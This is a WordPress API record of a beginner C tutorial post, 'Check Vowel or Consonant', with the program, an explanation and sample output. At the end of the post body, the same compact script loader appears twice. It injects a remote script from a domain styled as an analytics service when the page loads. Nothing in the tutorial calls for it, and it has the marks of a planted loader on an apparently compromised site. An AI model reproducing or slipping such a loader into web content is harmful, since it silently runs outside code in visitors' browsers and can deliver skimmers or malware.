{"id":636,"date":"2024-10-10T10:52:03","date_gmt":"2024-10-10T05:22:03","guid":{"rendered":"https:\/\/codexplained.in\/?p=636"},"modified":"2025-11-24T16:02:10","modified_gmt":"2025-11-24T10:32:10","slug":"check-vowel-or-consonant","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=636","title":{"rendered":"Check Vowel or Consonant"},"content":{"rendered":"<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n\nint main() {\n    char character;\n\n    \/\/ Input a character from the user\n    printf(&quot;Enter a character: &quot;);\n    scanf(&quot; %c&quot;, &amp;character);\n\n    \/\/ Check if the input is a letter\n    if ((character &gt;= &#039;A&#039; &amp;&amp; character &lt;= &#039;Z&#039;) || (character &gt;= &#039;a&#039; &amp;&amp; character &lt;= &#039;z&#039;)) {\n        \/\/ Check if the character is a vowel\n        if (character == &#039;A&#039; || character == &#039;E&#039; || character == &#039;I&#039; || character == &#039;O&#039; || character == &#039;U&#039; ||\n            character == &#039;a&#039; || character == &#039;e&#039; || character == &#039;i&#039; || character == &#039;o&#039; || character == &#039;u&#039;) {\n            printf(&quot;%c is a vowel.\\n&quot;, character);\n        } else {\n            printf(&quot;%c is a consonant.\\n&quot;, character);\n        }\n    } else {\n        printf(&quot;Invalid input. Please enter an alphabetic character.\\n&quot;);\n    }\n\n    return 0;\n}\n\n<\/pre><\/div>\n\n\n<h2 class=\"wp-block-heading\">Explanation:<\/h2>\n\n\n\n<p><strong>Purpose<\/strong>: The program checks if a given character is a vowel or a consonant.<\/p>\n\n\n\n<p><strong>Steps<\/strong>:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Input<\/strong>: It prompts the user to enter a character.<\/li>\n\n\n\n<li><strong>Check Validity<\/strong>: It verifies if the character is a letter (A-Z or a-z).<\/li>\n\n\n\n<li><strong>Determine Type<\/strong>:\n<ul class=\"wp-block-list\">\n<li>If it&#8217;s a vowel (A, E, I, O, U), it prints that it&#8217;s a vowel.<\/li>\n\n\n\n<li>If it&#8217;s a letter but not a vowel, it prints that it&#8217;s a consonant.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Invalid Input<\/strong>: If the input isn&#8217;t a letter, it displays an error message.<\/li>\n<\/ol>\n\n\n\n<h2 class=\"wp-block-heading\">Output:<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>1.Enter a character: z\nz is a consonant.\n\n2.Enter a character: e\ne is a vowel.<\/code><\/pre>\n\n\n\n<p><\/p>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Explanation: Purpose: The program checks if a given character is a vowel or a consonant. Steps: Output:<\/p>\n","protected":false},"author":38,"featured_media":621,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-636","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/636","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/38"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=636"}],"version-history":[{"count":6,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/636\/revisions"}],"predecessor-version":[{"id":1479,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/636\/revisions\/1479"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/media\/621"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=636"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=636"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=636"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}